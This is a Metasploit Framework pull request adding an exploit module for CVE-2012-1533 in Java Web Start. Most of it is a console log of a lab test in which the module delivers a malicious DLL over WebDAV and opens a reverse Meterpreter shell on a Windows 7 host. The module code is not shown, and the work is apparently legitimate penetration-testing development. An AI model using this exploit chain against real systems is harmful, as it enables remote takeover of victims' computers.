rapid7/metasploit-framework — pull request #1948 by jvazquez-r7 (2013-06-12 19:42:55+00:00)
Title: Add module for CVE-2012-1533

All the credits go to Rh0, I just got his msf module, cleaned and did pr for him.

Webclient should be enabled on the w7 to use the webdav implementation on the module.

Tested on java 6 JRE 1.6.35 successfully:

```
msf exploit(java_ws_double_quote_clean) > rexploit
[*] Stopping existing job...
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.172.1:4444
[*] Using URL: http://192.168.172.1:80/
[*] Server started.
msf exploit(java_ws_double_quote_clean) > [*] 192.168.172.215 java_ws_double_quote_clean - Request for "/" does not contain a sub-directory, redirecting to /WsgzmqneDkeG/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Responding to "GET /WsgzmqneDkeG/" request from 192.168.172.215:49962
[*] 192.168.172.215 java_ws_double_quote_clean - Sending redirect to the JNLP file to 192.168.172.215:49962
[*] 192.168.172.215 java_ws_double_quote_clean - Responding to "GET /WsgzmqneDkeG/sIPFsRRtEI.jnlp" request from 192.168.172.215:49962
[*] 192.168.172.215 java_ws_double_quote_clean - Sending JNLP to 192.168.172.215:49962...
[*] 192.168.172.215 java_ws_double_quote_clean - Request for "/" does not contain a sub-directory, redirecting to /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Responding to "GET /lwOofREESN4e4B/" request from 192.168.172.215:49970
[*] 192.168.172.215 java_ws_double_quote_clean - Sending redirect to the JNLP file to 192.168.172.215:49970
[*] 192.168.172.215 java_ws_double_quote_clean - Responding to "GET /lwOofREESN4e4B/aWynQfZUJT.jnlp" request from 192.168.172.215:49970
[*] 192.168.172.215 java_ws_double_quote_clean - Sending JNLP to 192.168.172.215:49970...
[*] 192.168.172.215 java_ws_double_quote_clean - Responding to WebDAV "OPTIONS /lwOofREESN4e4B/" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Received WebDAV "PROPFIND /lwOofREESN4e4B/" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Sending directory multistatus for /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Request for "/lwOofREESN4e4B" does not contain a sub-directory, redirecting to /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Received WebDAV "PROPFIND /lwOofREESN4e4B/" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Sending directory multistatus for /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Received WebDAV "PROPFIND /lwOofREESN4e4B/jvm.dll" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Sending DLL multistatus for /lwOofREESN4e4B/jvm.dll ...
[*] 192.168.172.215 java_ws_double_quote_clean - Responding to "GET /lwOofREESN4e4B/jvm.dll" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Sending DLL to 192.168.172.215:49978...
[*] 192.168.172.215 java_ws_double_quote_clean - Request for "/lwOofREESN4e4B" does not contain a sub-directory, redirecting to /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Received WebDAV "PROPFIND /lwOofREESN4e4B/" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Sending directory multistatus for /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Request for "/lwOofREESN4e4B" does not contain a sub-directory, redirecting to /lwOofREESN4e4B/ ...
[*] 192.168.172.215 java_ws_double_quote_clean - Received WebDAV "PROPFIND /lwOofREESN4e4B/" request from 192.168.172.215:49978
[*] 192.168.172.215 java_ws_double_quote_clean - Sending directory multistatus for /lwOofREESN4e4B/ ...
[*] Sending stage (751104 bytes) to 192.168.172.215
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.215:49979) at 2013-06-12 14:38:45 -0500

msf exploit(java_ws_double_quote_clean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

```